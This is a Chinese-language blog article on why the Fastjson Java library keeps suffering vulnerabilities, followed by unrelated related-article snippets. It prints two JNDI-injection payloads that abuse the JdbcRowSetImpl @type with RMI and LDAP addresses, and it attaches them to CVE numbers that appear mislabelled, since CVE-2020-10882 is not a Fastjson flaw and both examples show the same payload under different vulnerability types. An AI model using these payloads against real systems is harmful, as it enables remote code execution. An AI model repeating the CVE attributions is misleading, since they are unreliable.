fastjson到底做错了什么?为什么会被频繁爆出漏洞?(推荐)

Fastjson 是一个非常流行的 Java 序列化/反序列化工具,但是最近几年一直被频繁曝出漏洞,造成了很大的安全隐患。那么 Fastjson 到底做错了什么?为什么会被频繁爆出漏洞?

背景介绍

Fastjson 是由阿里巴巴集团的工程师封装的一个 Java 序列化/反序列化工具。由于其出色的性能和易用性,已经被广泛应用于各种 Java 项目中。但是因为其一些不合理的设计和实现方式,导致 Fastjson 存在很多安全问题。

Fastjson 存在的安全问题

反序列化漏洞

Fastjson 存在大量的反序列化漏洞,这些漏洞多数是由于 Fastjson 对外部输入没有进行足够的校验和过滤。攻击者可以构造恶意数据,使得 Fastjson 在反序列化时执行一些有害的操作,比如:

  • RCE:攻击者可以通过构造特殊的数据结构,使得 Fastjson 被反序列化后执行恶意代码。
  • DoS:攻击者可以构造特殊的数据结构,使得 Fastjson 被反序列化后占用过多的 CPU 和内存资源,导致系统无法正常运行。
  • 数据泄露:攻击者可以构造特殊的数据结构,使得 Fastjson 被反序列化后获取系统中的敏感数据,比如密码、秘钥等。

反射调用漏洞

Fastjson 使用反射机制调用 Java 类的方法,攻击者可以通过构造恶意数据,触发 Fastjson 反射调用某个类的敏感方法,比如:

  • RCE:攻击者可以通过构造特殊的数据结构,使得 Fastjson 在反序列化时调用某个类的敏感方法,比如 Runtime.exec(),从而实现远程代码执行。
  • 数据泄露:攻击者可以通过构造特殊的数据结构,触发 Fastjson 反射调用某个类的获取敏感数据的方法,比如获取系统属性、Java 版本信息等。

Fastjson 漏洞示例

CVE-2017-18356

这是一个 Fastjson 反序列化漏洞,攻击者可以通过构造恶意 JSON 数据,使得 Fastjson 在反序列化时执行恶意代码。例如:

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parse(payload);

在上面的代码中,攻击者构造了一个恶意 JSON 数据,指定 @type 属性为 com.sun.rowset.JdbcRowSetImpl,同时设置了 dataSourceName 为 RMI 协议地址,将 Fastjson 在反序列化时转换成 JdbcRowSetImpl 对象,并在这个过程中利用 RMI 协议发起远程类加载攻击。

CVE-2020-10882

这是一个 Fastjson 反射调用漏洞,攻击者可以通过构造恶意 JSON 数据,触发 Fastjson 反射调用某个类的敏感方法。例如:

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:8888/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parse(payload);

在上面的代码中,攻击者构造了一个恶意 JSON 数据,指定 @type 属性为 com.sun.rowset.JdbcRowSetImpl,同时设置了 dataSourceName 为 LDAP 协议地址,将 Fastjson 在反序列化时转换成 JdbcRowSetImpl 对象,并在这个过程中利用 LDAP 协议发起远程类加载攻击。

总结

Fastjson 是一个很好用的 Java 序列化/反序列化工具,但是其存在大量的安全问题,导致被攻击者广泛利用。为避免 Fastjson 漏洞对系统造成危害,我们需要谨慎地使用 Fastjson,并对其输入进行足够的校验和过滤。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:fastjson到底做错了什么?为什么会被频繁爆出漏洞?(推荐) - Python技术站

(0)
上一篇 2023年5月13日
下一篇 2023年5月13日

相关文章

  • Django框架中模型的用法

    Django框架中的模型是非常重要的组成部分之一,它允许我们使用面向对象的方式来定义应用程序的数据模型。本文将详细讲解Django框架中模型的用法,包括模型的定义、字段类型、数据访问和管理等方面。 模型的定义 在Django应用程序中,模型是定义在models.py文件中的类。首先,在你的Django项目中,你应该有一个虚拟环境(Virtual Enviro…

    http 2023年5月13日
    00
  • 用Fundebug插件记录网络请求异常的方法

    使用Fundebug插件可以帮助我们快速地发现和定位网络请求异常,下面我就来讲解一下具体的操作步骤。 步骤一:引入Fundebug JS库 在需要使用Fundebug插件的项目中,在 HTML 文件的 <head> 标签中引入Fundebug JS库: <script src="//cdn.fundebug.com/fundebu…

    http 2023年5月13日
    00
  • CentOS6.5环境安装nginx服务器及负载均衡配置操作详解

    以下是“CentOS6.5环境安装nginx服务器及负载均衡配置操作详解”的完整攻略,其中包含两个示例: CentOS6.5环境安装nginx服务器及负载均衡配置操作详解 什么是nginx服务器? nginx是一种高性能的Web服务器和反向代理服务器,可以提供负载均衡、HTTP缓存、SSL和TLS终端等功能。 如何安装nginx服务器? 以下安装nginx服…

    http 2023年5月13日
    00
  • 解决在vue项目中,发版之后,背景图片报错,路径不对的问题

    当我们在Vue项目中发版之后,有时候会遇到背景图片报错,路径不对的问题。这通常是由于路径配置不正确或者图片资源没有正确打包导致的。本文将提供详细的解决方,包检查路径配置和检查图片资源打包,同时提供两个示例说明。 解决方案1:检查路径配置 当我们到背景图片报错,路径不对的问题时,我们应首先检查路径配置。路径配置不正确可能导致浏览器无正确加载图片资源,从而导致背…

    http 2023年5月13日
    00
  • python3 中使用urllib问题以及urllib详解

    以下是关于“python3中使用urllib问题以及urllib详解”的完整攻略: 简介 在Python3中,使用urllib库进行网络请求时,有时会出现一些问题。本文将介绍如何解决这些问题,并详细讲解urllib库的使用方法。 解决步骤 以下是使用urllib库进行网络请求的步骤: 步骤一:导入urllib库 首先,需要导入urllib库。可以使用以下代码…

    http 2023年5月13日
    00
  • HTTP的Transfer-Encoding头部有哪些取值?

    HTTP协议中的Transfer-Encoding头部指定了用于传输消息主体的编码类型。这些编码类型可以用于将消息主体划分为片段,或者在传输过程中进行压缩以提高传输速度。 下面是HTTP Transfer-Encoding头部常见的取值: Chunked Chunked编码是一种流式传输编码,可以将消息主体划分为多个片段。每个片段都包含一个16进制数字,表示…

    Http网络协议 2023年4月20日
    00
  • 完美解决Server returned HTTP response code:403 for URL报错问题

    以下是关于“完美解决Server returned HTTP response code:403 for URL报错问题”的完整攻略: 问题描述 在使用Java进行HTTP请求时,我们可能会遇到Server returned HTTP response code: 403 for URL报错问题。这通常是由服务器拒绝了我们的请求,可能是由于权限不足或者请求被…

    http 2023年5月13日
    00
  • 关于IDEA2020.1新建项目maven PKIX 报错问题解决方法

    在使用IntelliJ IDEA 2020.1新建Maven项目时,有时候会遇到maven PKIX报错问题。下面是一个关于解决maven PKIX报错问题的攻略,其中包含了一些示例说明。 maven PKIX报错问题解决 在使用IntelliJ IDEA 2020.1新建Maven项目时,如果您遇到了maven PKIX报错问题,那么您可以尝试以下方法来解…

    http 2023年5月13日
    00
合作推广
合作推广
分享本页
返回顶部